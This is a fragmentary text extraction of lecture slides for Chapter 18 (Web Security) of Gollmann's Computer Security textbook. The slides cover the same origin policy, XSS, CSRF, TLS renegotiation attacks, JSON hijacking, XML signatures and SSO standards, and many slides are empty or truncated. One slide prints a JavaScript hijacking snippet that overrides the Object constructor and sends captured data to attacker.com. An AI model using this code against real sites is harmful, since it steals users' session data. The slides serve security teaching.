Chapter 18: 1
Computer Security 3e
Dieter Gollmann
Security.di.unimi.it/sicurezza1314
Computer Security 3e Dieter Gollmann - - PowerPoint PPT Presentation
Computer Security 3e Dieter Gollmann Security.di.unimi.it/sicurezza1314 Chapter 18: 1 Chapter 18: Web Security Chapter 18: 2 Web 1.0 browser HTML + HTTP CSS data request web server backend systems Chapter 18: 3 Web 1.0 Shorthand
Chapter 18: 1
Security.di.unimi.it/sicurezza1314
Chapter 18: 2
Chapter 18: 3
web server backend systems browser HTTP request HTML + CSS data
Chapter 18: 4
Chapter 18: 5
Chapter 18: 6
Chapter 18: 7
www.wiley.com/WileyCDA/Section/id-302475.html?query=computer\%20security
URI; aligns the user’s view with the browser’s view. host URI
Chapter 18: 8
Chapter 18: 9
an internal representation of a web page used by browsers; required by JavaScript.
page.
Chapter 18: 10
Chapter 18: 11
(subscriber) and service provider.
private key, TLS with mutual authentication can be used.
Chapter 18: 12
Chapter 18: 13
Chapter 18: 14
Chapter 18: 15
Chapter 18: 16
accordance with the EU Data Protection Directive.
holding personal data; when data about a person is recorded
ask for consent when data is written.
Chapter 18: 17
Chapter 18: 18
client man-in-the-middle server SSL/TLS session SSL/TLS session
Chapter 18: 19
authenticator included by client in further HTTP requests.
located between client and server.
Chapter 18: 20
Chapter 18: 21
treated as a specification of the service.
sends a malicious partially complete command in the first tunnel.
Chapter 18: 22
client server Server Hello, Cert, Done Client Hello MitM POST/secure/evil.html HTTP/1.1 key exch, cipher spec, finished change cipher spec, finished Client Hello hello request Client Hello cert, key exch, cert verify, change cipher spec, finished change cipher spec, finished, HTTP 1.1. ok Server Hello, Cert, CertReq, Done GET/secure HTTP/1.1
“secure” tunnel, server authenticated “secure” tunnel, mutual authentication
attacker’s HTTP request executed in the context of the mutually authenticated tunnel
Chapter 18: 23
Chapter 18: 24
Chapter 18: 25
http://www.my.org/dir1/some.html success http://www.my.org/dir2/sub/another.html success https://www.my.org/dir2/some.html failure different protocol http://www.my.org:81/dir2/some.html failure different port http://host.my.org/dir2/some.html failure different host
Chapter 18: 26
all ac.uk domains open to same origin policy violations.
domain traversal cannot be applied (exceptions to exception).
Chapter 18: 27
the same server.
Chapter 18: 28
Model).
Chapter 18: 29
Chapter 18: 30
privileges at client (origin based access control).
Chapter 18: 31
page; in a search for a string that includes some HTML special characters code may be injected.
Chapter 18: 32
Chapter 18: 33
attacker‘s Web server Web server in trusted domain Page Click HTML result page, script e.g. in image tag script reflected in result page attack script hidden in image tag
Reflected XSS Stored XSS
page with attack script
Chapter 18: 34
Chapter 18: 35
attacker.com untrusted zone trusted zone applet that refers to URL malicious code in URL
Request for ‘innocent’ web page
Chapter 18: 36
its value back to attacker, e.g. as HTTP GET parameter.
context of attacker’s web page.
Chapter 18: 37
Chapter 18: 38
encode dangerous characters.
Chapter 18: 39
Chapter 18: 40
(cookie, authenticated session,…).
Chapter 18: 41
Chapter 18: 42
bank server Page Click HTML result page, request in web form Web server attack.org authenticated tunnel attacker’s request submitted
victim
Chapter 18: 43
attacker.org untrusted zone target system page with malicious instructions in web form malicious instructions reflected to server in HTTP request user page click Authenticated tunnel
Chapter 18: 44
firewall Web server in another domain Page Click Page with form where attacker logs in at server Web server attack.org result page: user input will be “credited” to attacker
victim
Chapter 18: 45
SessionID);
Chapter 18: 46
Chapter 18: 47
web server backend systems browser HTTP request HTML + CSS data web server backend systems browser HTTP request XML data, JSON Ajax engine Javascript HTML+CSS data
Chapter 18: 48
an object with JavaScript by calling eval() with a JSON string as the argument using the JavaScript object constructor.
Chapter 18: 49
Chapter 18: 50
application (in a script tag).
cookies/session (assuming that a session is open.)
so that the data are sent to attacker.
thus permitted to send those captured data back to attacker.
malware overrides constructor so that whenever the "email" field is set, the method captureObject() will run.
Chapter 18: 51
<script> function Object() { this.email setter = captureObject; } function captureObject(x) { var objString = ""; for (fld in this) { objString += fld + ": " + this[fld] + ", "; }
var req = new XMLHttpRequest(); req.open("GET", "http://attacker.com?obj=" + escape(objString),true); req.send(null); } </script>
From: Brian Chess et al: JavaScript Hijacking, 2007 send captured object as GET parameter email address as argument scan entire JSON append email address
Chapter 18: 52
causing an infinite loop; application must remove this prefix before any JavaScript in the response can be run.
Chapter 18: 53
Chapter 18: 54
Chapter 18: 55
Chapter 18: 56
Chapter 18: 57
Chapter 18: 58
<a boo = “no” foo = “yes”></a>
Chapter 18: 59
Chapter 18: 60
Chapter 18: 61
Chapter 18: 62
Chapter 18: 63
Chapter 18: 64
able to construct the list.
though the code is unaware of which name spaces are being used.
inserted in some other XML document.
Chapter 18: 65
Chapter 18: 66
<Signature ID?> <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> (<Reference URI? > (<Transforms>)? <DigestMethod> <DigestValue> </Reference>)+ </SignedInfo> <SignatureValue> (<KeyInfo>)? (<Object ID?>)* </Signature>
Chapter 18: 67
location such as a local store than that specified in the URI.
Chapter 18: 68
Chapter 18: 69
the References being validated.
that validation would always succeed (i.e., converting it to a trivial signature with a known key over trivial data).
Chapter 18: 70
Chapter 18: 71
validity.
Chapter 18: 72
the data object.
identification of the data object, any (optional) transform elements, the digest algorithm and the DigestValue.
CanonicalizationMethod and Reference(s).
SignedInfo based on algorithms specified in SignedInfo.
Object(s) (if desired, encoding may be different than that used for signing), KeyInfo (if required), and SignatureValue.
Chapter 18: 73
CanonicalizationMethod in SignedInfo.
specified in its Reference specification.
SignedInfo Reference; if there is any mismatch, validation fails.
external source.
CanonicalizationMethod and use the result (and previously
SignedInfo element.
Chapter 18: 74
Chapter 18: 75
Chapter 18: 76
Chapter 18: 77
protocols are typical underlying technologies.
domains without having to re-authenticate after initially logging in to the first domain.
Chapter 18: 78
1 . a u t h e n t i c a t e
Chapter 18: 79
john.smith@acompany.com, was authenticated into this system using a password mechanism.
Chapter 18: 80
request with respect to the local policy.
Chapter 18: 81
HTTP or HTTPS.
been authenticated.
Chapter 18: 82
Chapter 18: 83
Chapter 18: 84
Chapter 18: 85
Chapter 18: 86
Chapter 18: 87
Chapter 18: 88
Access requester
service PAP environment subjects resource
request
attributes
attributes
content
PDP Context handler PIP PEP
Chapter 18: 89
Chapter 18: 90
Chapter 18: 91